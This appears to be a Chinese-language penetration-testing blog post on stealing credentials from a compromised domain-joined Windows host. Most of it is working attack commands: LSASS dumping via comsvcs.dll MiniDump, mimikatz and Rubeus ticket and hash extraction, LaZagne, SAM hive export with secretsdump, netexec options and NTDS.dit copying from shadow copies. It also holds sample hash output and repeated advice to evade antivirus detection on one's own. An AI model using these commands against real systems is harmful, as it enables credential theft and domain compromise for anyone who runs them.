在渗透测试过程中,我们终究会遇到攻陷了某台加域Windows主机的情况。而这种情况下,我们很需要搜集当前主机的凭证信息。为进一步利用这些相互信任的凭证来进行横向打下基础。
在凭证收集中,我们主要有以下场景:
1.lsass.exe的DMP文件
从中我们能获取转储文件,离线解析以获取凭证
2.lsass的内存窃取凭证
在线解析lsass程序内存
3.sam数据库
sam数据库时在主机没有加域的情况下,会采用的一种认证措施,里面会有所有使用这个机器的用户的凭证信息
4.配置文件
设备中的配置文件有时会包含凭证信息,我们值得留意
5.NTDS.dit
这个时域控的头头,包含域内所有用户的凭证
lsass.exe的DMP文件提取凭证
lsass.exe是Windows主机中对于凭证管理的非常重要的进程,所以它的内存当中通常会包含我们想知道的东西。所以我们的主要目的就是获取他的内存。
有桌面情况下获取lsass内存
打开任务管理器,找到local security auth...
点击创建内存转储文件
OK,you got it 就是这么简单
后面的步骤就是将咱们的转储文件送到VPS上然后使用pypykatz进行解析。解析办法再后面的小节说,而传送方法呢参考之前的文章渗透测试--Windows系统下的文件传输手段-CSDN博客。
cmd情况下获取lsass
我们可以通过rundll32.exe来完成cmd情况下的DMP文件获取。值得一提的是rundll32.exe在现代检查工具中是恶意软件。
找到LSASS PID
tasklist /svc
PS C:\Windows\system32> Get-Process lsass
Powershell创建DMP文件
下面的命令是恶意活动,需要自行想办法逃避AV检查
PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
下面的命令是恶意活动,需要自行想办法逃避AV检查
PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
后面的步骤就是将咱们的转储文件送到VPS上然后使用pypykatz进行解析。解析办法再后面的小节说,而传送方法呢参考之前的文章渗透测试--Windows系统下的文件传输手段-CSDN博客。
解析lsass
解析就是这么简单,pypykatz一般kali自带,但是如果无法正常运行就卸载重新安装。
pypykatz lsa minidump /home/peter/Documents/lsass.dmp
DMP的内容
解析出来的lsass中通常会包含很多内容,一下是一些举例
MSV
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
== MSV ==
Username: bob
Domain: DESKTOP-33E7O54
LM: NA
NT: 64f12cddaa88057e06a81b54e73b949b
SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
DPAPI: NA
WDIGEST
== WDIGEST [14ab89]==
username bob
domainname DESKTOP-33E7O54
password None
password (hex)
Kerberos
== Kerberos ==
Username: bob
Domain: DESKTOP-33E7O54
DPAPI
Data protection API ,通常用于给Windows操作系统和第三方应用密码加解密工作。
== DPAPI [14ab89]==
luid 1354633
key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605
Applications | Use of DPAPI |
---|---|
Internet Explorer | Password form auto-completion data (username and password for saved sites). |
Google Chrome | Password form auto-completion data (username and password for saved sites). |
Outlook | Passwords for email accounts. |
Remote Desktop Connection | Saved credentials for connections to remote machines. |
Credential Manager | Saved credentials for accessing shared resources, joining Wireless networks, VPNs and more. |
自动化手段
nxc smb -u <username> -p <password> --lsa
lsass的内存窃取凭证
使用mimikatz在Windows内存中搜索凭据
有桌面情况,双击mimikatz,执行命令
privilege::debug
提取NTLMhash
sekurlsa::logonpasswords
cmd情况
mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit
使用mimikatz在Windows中提取票证
sekurlsa::tickets /export
使用mimikatz在windows中提取Kerberos秘钥
sekurlsa::ekeys
使用Rubeus提取票证
c:\tools> Rubeus.exe dump /nowrap
lazagne.exe自动化搜索凭据
该程序是恶意程序,AV检测会被检出,请各位自己大显身手免杀吧
Release Release v2.4.6 · AlessandroZ/LaZagne · GitHub
C:\Users\bob\Desktop> start lazagne.exe all
sam数据库提取凭证
sam数据库中也存在很多凭证,一般是工作组主机才会有用它。想要得到它,我们需要管理员权限,然后从注册表提取它。
%SystemRoot%/system32/config/SAMHKLM/SAM
复制SAM数据库
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.
传送SAM数据库文件
渗透测试--Windows系统下的文件传输手段-CSDN博客
解析sam数据库
值得一提的是system是非常重要的点,如果没有system文件我们将无法解密sam数据库。原理如下
注册表配置单元 | 描述 |
---|---|
hklm\sam | 包含与本地帐户密码相关的哈希值。我们需要这些哈希值,以便能够破解它们并获取明文形式的用户帐户密码。 |
hklm\system | 包含系统启动密钥,用于加密 SAM 数据库。我们需要启动密钥来解密 SAM 数据库。 |
hklm\security | 包含域帐户的缓存凭据。我们可能会将此内容放在已加入域的 Windows 目标上,从而受益。 |
从SAM数据库提取hash
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
自动化手段
nxc smb -u <username> -p <password> --sam
配置文件获取凭证
该攻击的原理就比较简单了,就是单纯的找配置文件,快速信息搜集的过程。这些搜索这些可能可以帮助我们
Passwords | Passphrases | Keys |
Username | User account | Creds |
Users | Passkeys | Passphrases |
configuration | dbcredential | dbpassword |
pwd | Login | Credentials |
密码可能存在的地方
- Passwords in Group Policy in the SYSVOL share
- Passwords in scripts in the SYSVOL share
- Password in scripts on IT shares
- Passwords in web.config files on dev machines and IT shares
- unattend.xml
- Passwords in the AD user or computer description fields
- KeePass databases --> pull hash, crack and get loads of access.
- Found on user systems and shares
- Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint
在Windows中搜索配置文件
C:\ findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
在Windows中包含内容地搜索
findstr /s /i cred n:\*.*
在Powershell中按文件名搜索
Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
在Powershell中按内容搜索
Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List
NTDS.dit
域控数据库,里面有域内的所有敏感信息:
- 用户账户(用户名和密码哈希)
- 群组帐户
- 计算机帐户
- 组策略对象
手动获取NTDS.dit
创建NTDS所在盘的VSS
*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:
从VSS中复制NTDS.dit
*Evil-WinRM* PS C:\NTDS> cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
自动化手段
nxc smb -u <username> -p <password> --ntds